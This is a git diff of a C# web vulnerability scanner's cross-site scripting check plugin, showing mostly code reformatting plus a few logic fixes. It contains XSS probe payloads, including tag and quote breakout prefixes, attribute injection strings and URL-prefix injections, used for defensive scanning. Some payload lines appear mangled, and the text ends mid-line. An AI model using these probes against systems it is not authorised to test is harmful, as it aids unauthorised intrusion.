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 + + + \ No newline at end of file diff --git a/IronWASP/ActivePlugins/CodeInjectionCheck.cs b/Iron/ActivePlugins/CodeInjectionCheck.cs similarity index 100% rename from IronWASP/ActivePlugins/CodeInjectionCheck.cs rename to Iron/ActivePlugins/CodeInjectionCheck.cs diff --git a/IronWASP/ActivePlugins/CommandInjectionCheck.cs b/Iron/ActivePlugins/CommandInjectionCheck.cs similarity index 100% rename from IronWASP/ActivePlugins/CommandInjectionCheck.cs rename to Iron/ActivePlugins/CommandInjectionCheck.cs diff --git a/IronWASP/ActivePlugins/CrossSiteScriptingCheck.cs b/Iron/ActivePlugins/CrossSiteScriptingCheck.cs similarity index 86% rename from IronWASP/ActivePlugins/CrossSiteScriptingCheck.cs rename to Iron/ActivePlugins/CrossSiteScriptingCheck.cs index d99067b..1d660ac 100644 --- a/IronWASP/ActivePlugins/CrossSiteScriptingCheck.cs +++ b/Iron/ActivePlugins/CrossSiteScriptingCheck.cs @@ -55,52 +55,52 @@ public override void Check(Scanner Scnr) //Show the reflection contexts to user and show the list of payloads that are going to be sent //Do Context specific checks - foreach( ReflectionContext context in this.ProbeStringContexts) + foreach (ReflectionContext context in this.ProbeStringContexts) { - if(context == ReflectionContext.JS) + if (context == ReflectionContext.JS) { this.CheckForInjectionInFullJS(); } - else if(context == ReflectionContext.InLineJS || context == ReflectionContext.JSUrl || context == ReflectionContext.EventAttribute) + else if (context == ReflectionContext.InLineJS || context == ReflectionContext.JSUrl || context == ReflectionContext.EventAttribute) { this.CheckForInjectionInJSInsideHTML(); } - else if(context == ReflectionContext.InLineVB || context == ReflectionContext.VBUrl) + else if (context == ReflectionContext.InLineVB || context == ReflectionContext.VBUrl) { this.CheckForInjectionInVBInsideHTML(); } - else if(context == ReflectionContext.UrlAttribute) + else if (context == ReflectionContext.UrlAttribute) { this.CheckForInjectionInUrlAttribute(); } - else if(context == ReflectionContext.CSS || context == ReflectionContext.InLineCSS) + else if (context == ReflectionContext.CSS || context == ReflectionContext.InLineCSS) { this.CheckForInjectionInFullCSS(); } - else if(context == ReflectionContext.AttributeCSS) + else if (context == ReflectionContext.AttributeCSS) { this.CheckForInjectionInCSSInsideStyleAttribute(); } - else if(context == ReflectionContext.AttributeName) + else if (context == ReflectionContext.AttributeName) { this.CheckForInjectionInAttributeName(); } - else if(context == ReflectionContext.AttributeValueWithSingleQuote) + else if (context == ReflectionContext.AttributeValueWithSingleQuote) { this.CheckForInjectionInSingleQuoteAttributeValue(); } - else if(context == ReflectionContext.AttributeValueWithDoubleQuote) + else if (context == ReflectionContext.AttributeValueWithDoubleQuote) { this.CheckForInjectionInDoubleQuoteAttributeValue(); } } - + //Do a HTML Injection Check irrespective of the context this.CheckForInjectionInHtml(); - + //Check for Injection in Special Attributes this.CheckForInjectionInSpecialAttributes(); - + //scan is complete, analyse the results this.AnalyseResults(); @@ -120,14 +120,14 @@ void CheckReflectionWithProbeString() this.ProbeStringResponse = this.Scnr.Inject(this.ProbeString); this.ProbeStringRequest = this.Scnr.InjectedRequest.GetClone(); - + //Store the ProbeString in Analyzer for Stored XSS Reflection Checking Analyzer.AddProbeString(this.ProbeString, this.Scnr.InjectedRequest.LogId); - if(this.ProbeStringResponse.BodyString.Contains(this.ProbeString)) + if (this.ProbeStringResponse.BodyString.Contains(this.ProbeString)) { this.ProbeStringContexts = this.GetContext(this.ProbeString, this.ProbeStringResponse); - + //make the list unique Dictionary TempDict = new Dictionary(); foreach (ReflectionContext RC in this.ProbeStringContexts) @@ -136,9 +136,9 @@ void CheckReflectionWithProbeString() } this.ProbeStringContexts = new List(TempDict.Keys); } - - string PsContextsString = ""; - if(this.ProbeStringContexts.Count == 0) + + string PsContextsString = ""; + if (this.ProbeStringContexts.Count == 0) { PsContextsString = ">No reflection>"; } @@ -155,13 +155,13 @@ void CheckReflectionWithProbeString() string ResDetails = string.Format(" || Code - {0} | Length - {1}", this.ProbeStringResponse.Code, this.ProbeStringResponse.BodyLength); this.Scnr.ResponseTrace(string.Format(" ==> Reflection contexts - {0}{1}", PsContextsString, ResDetails)); - + } void CheckCharsetSecurity() { - - if (! this.BaseResponse.IsCharsetSet) + + if (!this.BaseResponse.IsCharsetSet) { this.ReportCharsetNotSet(); } @@ -213,12 +213,12 @@ void CheckForCrossSiteCookieSetting() { List MetaSetCookies = this.ProbeStringResponse.Html.GetMetaContent("http-equiv", "set-cookie"); List HeaderSetCookies = new List(); - - if(this.ProbeStringResponse.SetCookies.Count > 0) + + if (this.ProbeStringResponse.SetCookies.Count > 0) { HeaderSetCookies = this.ProbeStringResponse.Headers.GetAll("Set-Cookie"); } - + bool MetaCsc = false; bool HeaderCsc = false; @@ -235,7 +235,7 @@ void CheckForCrossSiteCookieSetting() foreach (string SetCookieValue in HeaderSetCookies) { if (SetCookieValue.ToLower().Contains(this.ProbeString)) - { + { HeaderCsc = true; this.Scnr.Trace(string.Format(">>Injected ProbeString '{0}' is reflected inside Set-Cookie Header. Allows Cross-site Cookie Setting!>", this.ProbeString)); break; @@ -250,12 +250,12 @@ void CheckForCrossSiteCookieSetting() void CheckForInjectionInHtml() { - List contexts = new List(){"HTML"}; + List contexts = new List() { "HTML" }; - if (this.ProbeStringContexts.Count == 0 - || this.ProbeStringContexts.Contains(ReflectionContext.Unknown) - || this.ProbeStringContexts.Contains(ReflectionContext.AttributeName) - || this.ProbeStringContexts.Contains(ReflectionContext.AttributeValueWithSingleQuote) + if (this.ProbeStringContexts.Count == 0 + || this.ProbeStringContexts.Contains(ReflectionContext.Unknown) + || this.ProbeStringContexts.Contains(ReflectionContext.AttributeName) + || this.ProbeStringContexts.Contains(ReflectionContext.AttributeValueWithSingleQuote) || this.ProbeStringContexts.Contains(ReflectionContext.AttributeValueWithDoubleQuote)) { contexts.Add("HTML Escape"); @@ -266,7 +266,7 @@ void CheckForInjectionInHtml() contexts.Add("TEXTAREA tag"); } - if (this.ProbeStringContexts.Contains(ReflectionContext.InLineJS)) + if (this.ProbeStringContexts.Contains(ReflectionContext.InLineJS) || this.ProbeStringContexts.Contains(ReflectionContext.InLineVB)) { contexts.Add("SCRIPT tag"); } @@ -280,7 +280,7 @@ void CheckForInjectionInHtml() { contexts.Add("HTML Comment"); } - + foreach (string context in contexts) { List prefixes = new List(); @@ -291,12 +291,12 @@ void CheckForInjectionInHtml() string trace_header = ""; string trace_success = ""; string trace_fail = ""; - + switch (context) { case ("HTML"): - prefixes = new List(){""}; - suffixes = new List(){""}; + prefixes = new List() { "" }; + suffixes = new List() { "" }; attr_name = "xhx"; attr_value = "yhy"; trace_header = "Checking HTML Injection in HTML Context"; @@ -305,8 +305,8 @@ void CheckForInjectionInHtml() break; case ("HTML Escape"): - prefixes = new List(){"a\">", "a'>", "a>", "a\">", "a'>", "a>"}; - suffixes = new List(){"() { "a\">", "a'>", "a>", "a\">", "a'>", "a>" }; + suffixes = new List() { "(){""}; - suffixes = new List(){""}; + prefixes = new List() { "" }; + suffixes = new List() { "" }; attr_name = "xtx"; attr_value = "yty"; trace_header = "Checking HTML Injection by escaping Textarea tag Context"; @@ -325,8 +325,8 @@ void CheckForInjectionInHtml() break; case ("SCRIPT tag"): - prefixes = new List(){"", "-->"}; - suffixes = new List(){"", ""}; + prefixes = new List() { "", "-->" }; + suffixes = new List() { "", "" }; attr_name = "xjx"; attr_value = "yjy"; trace_header = "Checking HTML Injection by escaping Script tag Context"; @@ -335,8 +335,8 @@ void CheckForInjectionInHtml() break; case ("STYLE tag"): - prefixes = new List(){"", "-->"}; - suffixes = new List(){"", ""}; + prefixes = new List() { "", "-->" }; + suffixes = new List() { "", "" }; attr_name = "xsx"; attr_value = "ysy"; trace_header = "Checking HTML Injection by escaping Style tag Context"; @@ -345,8 +345,8 @@ void CheckForInjectionInHtml() break; case ("HTML Comment"): - prefixes = new List(){"-->"}; - suffixes = new List(){""}; + prefixes = new List() { "-->" }; + suffixes = new List() { "" }; attr_name = "xcx"; attr_value = "ycy"; trace_header = "Checking HTML Injection by escaping HTML Comment Context"; @@ -354,19 +354,19 @@ void CheckForInjectionInHtml() trace_fail = "Unable to inject HTML by escaping HTML Comment Context"; break; } - + this.Scnr.Trace(string.Format(">>{0}:>", trace_header)); - for (int i=0; i < prefixes.Count; i++) + for (int i = 0; i < prefixes.Count; i++) { string payload = string.Format("{0}{3}", prefixes[i], attr_name, attr_value, suffixes[i]); - + this.Scnr.RequestTrace(string.Format(" Injected {0} - ", payload)); Response res = this.Scnr.Inject(payload); - + string res_details = string.Format(" || Code - {0} | Length - {1}", res.Code, res.BodyLength); this.CheckResponseDetails(res); - if ( res.Html.Get("h", attr_name, attr_value).Count > 0) + if (res.Html.Get("h", attr_name, attr_value).Count > 0) { this.AddToTriggers(payload, string.Format("The payload in this request tries to inject an HTML tag named 'h' with attribute name '{0}' and attribute value '{1}'. The payload is {2}", attr_name, attr_value, payload), payload, string.Format("This response contains an HTML tag named 'h' with attribute name '{0}' and attribute value '{1}'. This was inserted by the payload.", attr_name, attr_value)); this.SetConfidence(3); @@ -379,13 +379,13 @@ void CheckForInjectionInHtml() } } } - + void CheckForInjectionInJSInsideHTML() { this.CheckForInjectionInJS(true); } - + void CheckForInjectionInFullJS() { this.CheckForInjectionInJS(false); @@ -393,11 +393,11 @@ void CheckForInjectionInFullJS() void CheckForInjectionInJS(bool InLine) { - + List script_contexts = new List(); List contaminated_scripts = new List(); - - if(InLine) + + if (InLine) { contaminated_scripts = this.ProbeStringResponse.Html.GetJavaScript(this.ProbeString); } @@ -408,13 +408,13 @@ void CheckForInjectionInJS(bool InLine) List payload_prefixes = new List(); - foreach(string script in contaminated_scripts) + foreach (string script in contaminated_scripts) { payload_prefixes.Add(this.GetJSPayload(script)); this.CheckSinkAssignment(script); script_contexts.AddRange(this.GetJSContexts(script)); } - + //make the list unique Dictionary TempDict = new Dictionary(); foreach (string RC in script_contexts) @@ -423,15 +423,15 @@ void CheckForInjectionInJS(bool InLine) } script_contexts = new List(TempDict.Keys); - + if (script_contexts.Contains("NormalString")) { this.AddToTriggersWithProbeStringInjection(this.ProbeString, "The payload in this request is random string just to check where this value it is reflected back in the response.", this.ProbeString, "The random string from the payload is found in the JavaScript code section of this response."); this.SetConfidence(1); this.Scnr.Trace(">Probe string is reflected inside JavaScript Script outside Quotes. Possibly vulnerable!>"); } - - if(script_contexts.Count > 0) + + if (script_contexts.Count > 0) { this.Scnr.Trace(string.Format(">>Got injection inside JavaScript as - {0}>", string.Join(",", script_contexts.ToArray()))); } @@ -440,14 +440,14 @@ void CheckForInjectionInJS(bool InLine) string keyword = "dzkqivxy"; bool js_inj_success = false; - foreach(string payload_prefix in payload_prefixes) + foreach (string payload_prefix in payload_prefixes) { - List binders = new List(){";", "\n", "\r"}; - List paddings = new List(){";/*", ";//", "/*", "//"}; + List binders = new List() { ";", "\n", "\r" }; + List paddings = new List() { ";/*", ";//", "/*", "//" }; bool payload_inj_success = false; - foreach(string binder in binders) + foreach (string binder in binders) { - foreach(string padding in paddings) + foreach (string padding in paddings) { if (payload_inj_success) { @@ -471,29 +471,29 @@ void CheckForInjectionInJS(bool InLine) } } } - - if(! js_inj_success) + + if (!js_inj_success) { payload_prefixes = new List(); - if (script_contexts.Contains("SingleQuotedString")) + if (script_contexts.Contains(CodeContext.SingleQuotedStringContext)) { payload_prefixes.Add("'"); } - if (script_contexts.Contains("DoubleQuotedString")) + if (script_contexts.Contains(CodeContext.DoubleQuotedStringContext)) { payload_prefixes.Add("\""); } - if (script_contexts.Contains("SingleLineComment")) + if (script_contexts.Contains(CodeContext.SingleLineCommentContext)) { payload_prefixes.Add("\r"); payload_prefixes.Add("\n"); } - if (script_contexts.Contains("MutliLineComment")) + if (script_contexts.Contains(CodeContext.MultiLineCommentContext)) { payload_prefixes.Add("*/"); } keyword = "dzpyqmw"; - foreach(string pp in payload_prefixes) + foreach (string pp in payload_prefixes) { string payload = string.Format("{0}{1}", pp, keyword); this.Scnr.RequestTrace(string.Format(" Injected {0} - ", payload)); @@ -515,7 +515,7 @@ void CheckForInjectionInJS(bool InLine) if (!js_inj_success) { - if (script_contexts.Contains("NormalString")) + if (script_contexts.Contains(CodeContext.NormalStringContext)) { js_inj_success = true; } @@ -533,12 +533,12 @@ string GetJSPayload(string script) ")))", "))]", "))}", ")])", ")]]", ")]}", ")})", ")}]", ")}}", "]))", "])]", "])}", "]])", "]]]", "]]}", "]})", "]}]", "]}}", "}))", "})]", "})}", "}])", "}]]", "}]}", "}})", "}}]", "}}}"}; - List quotes = new List(){"", "'", "\""}; + List quotes = new List() { "", "'", "\"" }; string padding = ";/*"; string keyword = "dzkqivxy"; - foreach(string cf in context_finishers) + foreach (string cf in context_finishers) { - foreach(string q in quotes) + foreach (string q in quotes) { string payload_prefix = string.Format("{0}{1}", q, cf); string payload = string.Format("{0};{1}{2}", payload_prefix, keyword, padding); @@ -550,57 +550,59 @@ string GetJSPayload(string script) return payload_prefix; } } - catch{} + catch { } } } return ""; } - + void CheckSinkAssignment(string script) { try { TraceResult ij = IronJint.Trace(script, this.ProbeString); - if( ij.SourceToSinkLines.Count > 0) + if (ij.SourceToSinkLines.Count > 0) { this.Scnr.Trace(">>>Injected ProbeString was assigned to a DOM XSS Sink>>"); List js_triggers = new List(); - foreach(string line in ij.SourceToSinkLines) + foreach (string line in ij.SourceToSinkLines) { js_triggers.Add(line); } this.AddToTriggersWithProbeStringInjection(this.ProbeString, "The payload in this request is random string just to check where this value it is reflected back in the response.", string.Join("\r\n", js_triggers.ToArray()), "The random string from the payload has been found in DOM XSS sinks inside the JavaScript of this response."); this.SetConfidence(3); } - }catch{} + } + catch { } } - + List GetJSContexts(string script) { List script_contexts = new List(); try { script_contexts.AddRange(CodeContext.GetJavaScriptContext(script, this.ProbeString)); - }catch{} + } + catch { } return script_contexts; } - + bool IsExpressionStatement(Response res, string keyword) { List scripts = new List(); - if( res.IsJavaScript) + if (res.IsJavaScript) { if (res.BodyString.Contains(keyword)) { scripts.Add(res.BodyString); } } - else if( res.IsHtml) + else if (res.IsHtml) { scripts = res.Html.GetJavaScript(keyword); } - - foreach(string script in scripts) + + foreach (string script in scripts) { try { @@ -608,11 +610,12 @@ bool IsExpressionStatement(Response res, string keyword) { return true; } - }catch{} + } + catch { } } return false; } - + bool IsNormalString(Response res, string keyword) { List scripts = new List(); @@ -622,12 +625,12 @@ bool IsNormalString(Response res, string keyword) { scripts.Add(res.BodyString); } - else if( res.IsHtml) - { - scripts = res.Html.GetJavaScript(keyword); - } } - foreach(string script in scripts) + else if (res.IsHtml) + { + scripts = res.Html.GetJavaScript(keyword); + } + foreach (string script in scripts) { try { @@ -637,7 +640,8 @@ bool IsNormalString(Response res, string keyword) { return true; } - }catch{} + } + catch { } } return false; } @@ -648,11 +652,11 @@ void CheckForInjectionInVBInsideHTML() this.Scnr.Trace(">>Checking for Script Injection inside VB Script Tag:>"); List script_contexts = new List(); List contaminated_scripts = this.ProbeStringResponse.Html.GetVisualBasic(this.ProbeString); - foreach(string script in contaminated_scripts) + foreach (string script in contaminated_scripts) { script_contexts.AddRange(this.GetVBContexts(script)); } - + //make the list unique Dictionary TempDict = new Dictionary(); foreach (string RC in script_contexts) @@ -667,12 +671,12 @@ void CheckForInjectionInVBInsideHTML() this.SetConfidence(1); this.Scnr.Trace(">Probe string is reflected inside VB Script outside Quotes. Possibly vulnerable!>"); } - - if(script_contexts.Count > 0) + + if (script_contexts.Count > 0) { this.Scnr.Trace(string.Format(">>Got injection inside VB Script as - {0}>", string.Join(",", script_contexts.ToArray()))); } - + List payload_prefixes = new List(); if (script_contexts.Contains("DoubleQuotedString")) { @@ -683,9 +687,9 @@ void CheckForInjectionInVBInsideHTML() payload_prefixes.Add("\n"); } string keyword = "dzpxqmw"; - + bool vb_inj_success = false; - foreach(string pp in payload_prefixes) + foreach (string pp in payload_prefixes) { string payload = string.Format("{0}{1}", pp, keyword); this.Scnr.RequestTrace(string.Format(" Injected {0} - ", payload)); @@ -700,11 +704,11 @@ void CheckForInjectionInVBInsideHTML() } else { - this.Scnr.ResponseTrace(string.Format("Could not get {0} as JavaScript statement", keyword)); + this.Scnr.ResponseTrace(string.Format("Could not get {0} as VB Script statement", keyword)); } } } - + List GetVBContexts(string script) { List script_contexts = new List(); @@ -712,32 +716,33 @@ List GetVBContexts(string script) { script_contexts.AddRange(CodeContext.GetVisualBasicContext(script, this.ProbeString)); } - catch{} + catch { } return script_contexts; } - + bool IsNormalVBString(Response res, string keyword) { List scripts = new List(); - if( res.IsHtml) + if (res.IsHtml) { scripts = res.Html.GetVisualBasic(keyword); } - foreach(string script in scripts) + foreach (string script in scripts) { try { List script_contexts = new List(); script_contexts.AddRange(CodeContext.GetVisualBasicContext(script, keyword)); - if( script_contexts.Contains("NormalString")) + if (script_contexts.Contains("NormalString")) { return true; } - }catch{} + } + catch { } } return false; } - + void CheckForInjectionInUrlAttribute() { //Start the test @@ -746,12 +751,12 @@ void CheckForInjectionInUrlAttribute() this.Scnr.Trace(">>Checking JS Injection in UrlAttribute Context:>"); this.Scnr.RequestTrace(string.Format(" Injected {0} - ", payload)); - + Response ua_res = this.Scnr.Inject(payload); - + string res_details = string.Format(" || Code - {0} | Length - {1}", ua_res.Code, ua_res.BodyLength); this.CheckResponseDetails(ua_res); - + if (ua_res.BodyString.Contains(payload) || (ua_res.Headers.Has("Refresh") && ua_res.Headers.Get("Refresh").Contains(payload))) { List ua_inj_contexts = this.GetContext(keyword, ua_res); @@ -771,38 +776,39 @@ void CheckForInjectionInUrlAttribute() //must check for the encoding here this.Scnr.ResponseTrace(string.Format("No reflection{0}", res_details)); } - } - + } + void CheckForInjectionInAttributeName() { //Start the test this.Scnr.Trace(">>Checking for Injection in HTML AttributeName Context:>"); - this.InjectAttribute(" olpqir=\"vtkir(1)\"","olpqir","vtkir(1)"); - this.InjectAttribute(" olpqir='vtkir(1)'","olpqir","vtkir(1)"); - + this.InjectAttribute(" olpqir=\"vtkir(1)\"", "olpqir", "vtkir(1)"); + this.InjectAttribute(" olpqir='vtkir(1)'", "olpqir", "vtkir(1)"); + } - + void CheckForInjectionInSpecialAttributes() { this.Scnr.Trace(">>Checking for Injection in Special HTML Attributes:>"); - + this.CheckForSameSiteScriptIncludeSetting(); - + string host = this.BaseRequest.Host; //remove the port number from hostname try { - if( host.IndexOf(":") > 0) + if (host.IndexOf(":") > 0) { host = host.Substring(host.IndexOf(":")); } - }catch{} + } + catch { } this.Scnr.Trace(">>Checking for Reflection inside Special HTML Attributes:>"); - List initial_payloads = new List(){ "fpwzyqmc", string.Format("http://{0}.fpwzyqmc", host), string.Format("https://{0}.fpwzyqmc", host), string.Format("//{0}.fpwzyqmc", host)}; + List initial_payloads = new List() { "fpwzyqmc", string.Format("http://{0}.fpwzyqmc", host), string.Format("https://{0}.fpwzyqmc", host), string.Format("//{0}.fpwzyqmc", host) }; bool eligible = false; - - foreach(string i_p in initial_payloads) + + foreach (string i_p in initial_payloads) { this.Scnr.RequestTrace(string.Format(" Injected {0} ==> ", i_p)); Response res = this.Scnr.Inject(i_p); @@ -817,22 +823,22 @@ void CheckForInjectionInSpecialAttributes() this.Scnr.ResponseTrace(" Not reflected inside Special HTML Attributes"); } } - if (! eligible) + if (!eligible) { this.Scnr.Trace("> No reflection found inside Special HTML Attributes"); return; } - + this.Scnr.Trace(">>Checking for Payload Injection inside Special HTML Attributes:>"); string sign_str = "olxizrk"; this.injectable_special_tags = new List(); this.injectable_special_attributes = new List(); //prefixes taken from http://kotowicz.net/absolute/ - List prefixes = new List(){ "http://", "https://", "//", "http:\\\\", "https:\\\\", "\\\\", "/\\", "\\/", "\r//", "/ /", "http:", "https:", "http:/", "https:/", "http:////", "https:////", "://", ".:."}; + List prefixes = new List() { "http://", "https://", "//", "http:\\\\", "https:\\\\", "\\\\", "/\\", "\\/", "\r//", "/ /", "http:", "https:", "http:/", "https:/", "http:////", "https:////", "://", ".:." }; List all_tags_and_attrs = new List(); - foreach(string prefix in prefixes) + foreach (string prefix in prefixes) { - for(int ii=0; ii < 2; ii++) + for (int ii = 0; ii < 2; ii++) { string payload = ""; if (ii == 0) @@ -848,14 +854,14 @@ void CheckForInjectionInSpecialAttributes() if (this.IsInSpecialAttribute(payload, res)) { all_tags_and_attrs = new List(); - for(int i=0; i < this.injectable_special_tags.Count; i++) + for (int i = 0; i < this.injectable_special_tags.Count; i++) { all_tags_and_attrs.Add(string.Format(" {0}) >{1}> attribute of >{2}> tag", i + 1, this.injectable_special_tags[i], this.injectable_special_attributes[i])); } - + this.Scnr.ResponseTrace(string.Format(">Got {0} inside the following Special HTML Attributes:>>{1}", payload, string.Format(">", all_tags_and_attrs))); - - + + if (this.injectable_special_tags.Contains("script")) { this.AddToTriggers(payload, string.Format("The payload in this request is an absolute url pointing to an external domain. The payload is {0}", payload), payload, "The absolute url from the payload is found in the src attribute of SCRIPT tag in this response."); @@ -888,33 +894,33 @@ void CheckForInjectionInSpecialAttributes() } else { - string res_details = string.Format(" || Code - {0} | Length - {1}", res.Code, res.BodyLength); - this.Scnr.ResponseTrace(string.Format("Did not get payload inside the Special HTML Attributes{0}", res_details)); + string res_details = string.Format(" || Code - {0} | Length - {1}", res.Code, res.BodyLength); + this.Scnr.ResponseTrace(string.Format("Did not get payload inside the Special HTML Attributes{0}", res_details)); } } } } - + void CheckForSameSiteScriptIncludeSetting() { List scripts = new List(); List styles = new List(); List scripts_vuln = new List(); List styles_vuln = new List(); - + if (this.ProbeStringResponse.IsHtml) { scripts = this.ProbeStringResponse.Html.GetValues("script", "src"); styles = this.ProbeStringResponse.Html.GetValues("link", "href"); } - foreach(string script in scripts) + foreach (string script in scripts) { if (this.IsInUrlPath(script, this.ProbeString)) { scripts_vuln.Add(script); } } - foreach(string style in styles) + foreach (string style in styles) { if (this.IsInUrlPath(style, this.ProbeString)) { @@ -925,7 +931,7 @@ void CheckForSameSiteScriptIncludeSetting() { this.Scnr.Trace(">>Able to influence the location of the in-domain JS/CSS inlcuded in the page.>"); this.ReportSameSiteScriptInclude(scripts_vuln, styles_vuln); - } + } } bool IsInUrlPath(string url, string keyword) @@ -947,24 +953,25 @@ bool IsInUrlPath(string url, string keyword) { return true; } - }catch{} + } + catch { } return false; } - + bool IsInSpecialAttribute(string keyword, Response res) { - List special_tags = new List(){ "iframe", "frame", "script", "link", "object", "embed", "form", "button", "base", "a"}; - List special_attributes = new List(){ "src", "src", "src", "href", "data", "src", "action", "formaction", "href", "href"}; - + List special_tags = new List() { "iframe", "frame", "script", "link", "object", "embed", "form", "button", "base", "a" }; + List special_attributes = new List() { "src", "src", "src", "href", "data", "src", "action", "formaction", "href", "href" }; + this.injectable_special_tags = new List(); this.injectable_special_attributes = new List(); - - for(int i=0; i < special_tags.Count; i++) + + for (int i = 0; i < special_tags.Count; i++) { string tag_name = special_tags[i]; string tag_attr = special_attributes[i]; List values = res.Html.GetValues(tag_name, tag_attr); - foreach(string value in values) + foreach (string value in values) { if (value.StartsWith(keyword)) { @@ -983,45 +990,45 @@ bool IsInSpecialAttribute(string keyword, Response res) return false; } } - + void CheckForInjectionInSingleQuoteAttributeValue() { this.Scnr.Trace(">>Checking for Injection in HTML AttributeValue Context:>"); - this.InjectAttribute(" \' olqpir=\"vtikr(1)\"","olqpir","vtikr(1)"); - this.InjectAttribute(" \' olqpir=\'vtikr(1)\'","olqpir","vtikr(1)"); + this.InjectAttribute(" \' olqpir=\"vtikr(1)\"", "olqpir", "vtikr(1)"); + this.InjectAttribute(" \' olqpir=\'vtikr(1)\'", "olqpir", "vtikr(1)"); } - + void CheckForInjectionInDoubleQuoteAttributeValue() { this.Scnr.Trace(">>Checking for Injection in HTML AttributeValue Context:>"); - this.InjectAttribute(" \" olqpir=\"vtikr(1)\"","olqpir","vtikr(1)"); - this.InjectAttribute(" \" olqpir=\'vtikr(1)\'","olqpir","vtikr(1)"); + this.InjectAttribute(" \" olqpir=\"vtikr(1)\"", "olqpir", "vtikr(1)"); + this.InjectAttribute(" \" olqpir=\'vtikr(1)\'", "olqpir", "vtikr(1)"); //HtmlAgilityPack considers quote-less as Double-Quote; - this.InjectAttribute(" olqpir=\"vtikr(1)\"","olqpir","vtikr(1)"); - this.InjectAttribute(" olqpir=\'vtikr(1)\'","olqpir","vtikr(1)"); - this.InjectAttribute("aa olqpir=\"vtikr(1)\"","olqpir","vtikr(1)"); - this.InjectAttribute("aa olqpir=\'vtikr(1)\'","olqpir","vtikr(1)"); + this.InjectAttribute(" olqpir=\"vtikr(1)\"", "olqpir", 